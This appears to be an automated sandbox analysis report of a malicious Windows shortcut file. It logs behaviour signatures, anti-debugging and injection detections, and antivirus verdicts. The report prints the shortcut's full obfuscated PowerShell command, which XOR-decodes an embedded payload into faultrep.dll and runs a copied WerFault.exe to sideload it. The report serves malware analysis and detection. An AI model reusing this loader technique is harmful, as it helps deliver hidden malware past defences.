"C:\Windows\system32\cmd.exe" /c copy C:\Windows\system32\WerFault.exe C:\Users\test22\AppData\Local\Temp\WerFault.exe && powershell -windowstyle hidden $0dda91a21b6f6536715eb83f21c75451 = G''et-Chil''dItem *.lnk ^| where-object {$_.length -eq 0x000449C8} ^| S''elect-Objec''t -ExpandProperty Name; $bdf6730d5c52821e237a7ceb47d8838d = gc $0dda91a21b6f6536715eb83f21c75451 -Encoding Byte; for($i=0; $i -lt $bdf6730d5c52821e237a7ceb47d8838d.count; $i++) { $bdf6730d5c52821e237a7ceb47d8838d[$i] = $bdf6730d5c52821e237a7ceb47d8838d[$i] -bxor 0x71 }; $e248d8a354f7be26afe13b86a3325e35 = 'C:\Users\test22\AppData\Local\Temp\faultrep.dll'; sc $e248d8a354f7be26afe13b86a3325e35 ([byte[]]($bdf6730d5c52821e237a7ceb47d8838d ^| select -Skip 012858)) -Encoding Byte; ^& C:\Users\test22\AppData\Local\Temp\WerFault.exe;

cmdline

powershell -windowstyle hidden $0dda91a21b6f6536715eb83f21c75451 = G''et-Chil''dItem *.lnk | where-object {$_.length -eq 0x000449C8} | S''elect-Objec''t -ExpandProperty Name; $bdf6730d5c52821e237a7ceb47d8838d = gc $0dda91a21b6f6536715eb83f21c75451 -Encoding Byte; for($i=0; $i -lt $bdf6730d5c52821e237a7ceb47d8838d.count; $i++) { $bdf6730d5c52821e237a7ceb47d8838d[$i] = $bdf6730d5c52821e237a7ceb47d8838d[$i] -bxor 0x71 }; $e248d8a354f7be26afe13b86a3325e35 = 'C:\Users\test22\AppData\Local\Temp\faultrep.dll'; sc $e248d8a354f7be26afe13b86a3325e35 ([byte[]]($bdf6730d5c52821e237a7ceb47d8838d | select -Skip 012858)) -Encoding Byte; & C:\Users\test22\AppData\Local\Temp\WerFault.exe;

A process created a hidden window (2 events)

Time & API	Arguments	Status	Return	Repeated
CreateProcessInternalW Aug. 20, 2024, 12:27 p.m.	thread_identifier: 2664 thread_handle: 0x00000334 process_identifier: 2660 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\cmd.exe track: 1 command_line: "C:\Windows\system32\cmd.exe" /c copy C:\Windows\system32\WerFault.exe C:\Users\test22\AppData\Local\Temp\WerFault.exe && powershell -windowstyle hidden $0dda91a21b6f6536715eb83f21c75451 = G''et-Chil''dItem *.lnk ^\| where-object {$_.length -eq 0x000449C8} ^\| S''elect-Objec''t -ExpandProperty Name; $bdf6730d5c52821e237a7ceb47d8838d = gc $0dda91a21b6f6536715eb83f21c75451 -Encoding Byte; for($i=0; $i -lt $bdf6730d5c52821e237a7ceb47d8838d.count; $i++) { $bdf6730d5c52821e237a7ceb47d8838d[$i] = $bdf6730d5c52821e237a7ceb47d8838d[$i] -bxor 0x71 }; $e248d8a354f7be26afe13b86a3325e35 = 'C:\Users\test22\AppData\Local\Temp\faultrep.dll'; sc $e248d8a354f7be26afe13b86a3325e35 ([byte[]]($bdf6730d5c52821e237a7ceb47d8838d ^\| select -Skip 012858)) -Encoding Byte; ^& C:\Users\test22\AppData\Local\Temp\WerFault.exe; filepath_r: C:\Windows\system32\cmd.exe stack_pivoted: 0 creation_flags: 67634196 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_SUSPENDED\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x0000033c	1	1	0
CreateProcessInternalW Aug. 20, 2024, 12:27 p.m.	thread_identifier: 2760 thread_handle: 0x00000088 process_identifier: 2756 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe track: 1 command_line: powershell -windowstyle hidden $0dda91a21b6f6536715eb83f21c75451 = G''et-Chil''dItem *.lnk \| where-object {$_.length -eq 0x000449C8} \| S''elect-Objec''t -ExpandProperty Name; $bdf6730d5c52821e237a7ceb47d8838d = gc $0dda91a21b6f6536715eb83f21c75451 -Encoding Byte; for($i=0; $i -lt $bdf6730d5c52821e237a7ceb47d8838d.count; $i++) { $bdf6730d5c52821e237a7ceb47d8838d[$i] = $bdf6730d5c52821e237a7ceb47d8838d[$i] -bxor 0x71 }; $e248d8a354f7be26afe13b86a3325e35 = 'C:\Users\test22\AppData\Local\Temp\faultrep.dll'; sc $e248d8a354f7be26afe13b86a3325e35 ([byte[]]($bdf6730d5c52821e237a7ceb47d8838d \| select -Skip 012858)) -Encoding Byte; & C:\Users\test22\AppData\Local\Temp\WerFault.exe; filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x00000090	1	1	0

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Aug. 20, 2024, 12:27 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Yara rule detected in process memory (9 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__SetConsoleCtrl
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Uses Windows utilities for basic Windows functionality (2 events)

cmdline

A potential heapspray has been detected. 175 megabytes was sprayed onto the heap of the powershell.exe process (1 event)

count

2811

name

heapspray

process

powershell.exe

total_mb

175

length

65536

protection

PAGE_READWRITE

File has been identified by 14 AntiVirus engines on VirusTotal as malicious (14 events)

Skyhigh	BehavesLike.Trojan.db
ALYac	Trojan.Agent.LNK.Gen
Symantec	Scr.Mallnk!gen10
McAfee	Artemis!E0C3282206B5
Kaspersky	HEUR:Trojan.WinLNK.Powecod.c
Rising	Trojan.PSRunner/LNK!1.BADE (CLASSIC)
Sophos	Troj/LnkObf-T
SentinelOne	Static AI - Suspicious LNK
Google	Detected
ZoneAlarm	HEUR:Trojan.WinLNK.Powecod.c
VBA32	Trojan.Link.Crafted
Ikarus	Trojan.Win32.Crypt
huorong	TrojanDropper/LNK.Agent.i
alibabacloud	Trojan:Win/Powecod.c

One or more non-whitelisted processes were created (1 event)

parent_process

powershell.exe

martian_process

"C:\Users\test22\AppData\Local\Temp\WerFault.exe"

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2548 resumed a thread in remote process 2660
NtResumeThread Aug. 20, 2024, 12:27 p.m.	thread_handle: 0x00000334 suspend_count: 1 process_identifier: 2660	1	0	0

Creates a suspicious Powershell process (2 events)

option	-windowstyle hidden				value	Attempts to execute command with a hidden window
option	-windowstyle hidden				value	Attempts to execute command with a hidden window

The process powershell.exe wrote an executable file to disk (22 events)

file	C:\Windows\System32\ie4uinit.exe
file	C:\Program Files\Windows Sidebar\sidebar.exe
file	C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file	C:\Windows\System32\xpsrchvw.exe
file	C:\Windows\System32\displayswitch.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file	C:\Windows\System32\mblctr.exe
file	C:\Windows\System32\mstsc.exe
file	C:\Windows\System32\SnippingTool.exe
file	C:\Windows\System32\SoundRecorder.exe
file	C:\Windows\System32\dfrgui.exe
file	C:\Windows\System32\msinfo32.exe
file	C:\Windows\System32\rstrui.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file	C:\Program Files\Windows Journal\Journal.exe
file	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file	C:\Windows\System32\MdSched.exe
file	C:\Windows\System32\msconfig.exe
file	C:\Windows\System32\recdisc.exe
file	C:\Windows\System32\msra.exe
file	C:\Users\test22\AppData\Local\Temp\faultrep.dll
file	C:\Users\test22\AppData\Local\Temp\WerFault.exe

e0c3282206b5533bb3272741212cb6e1.lnk

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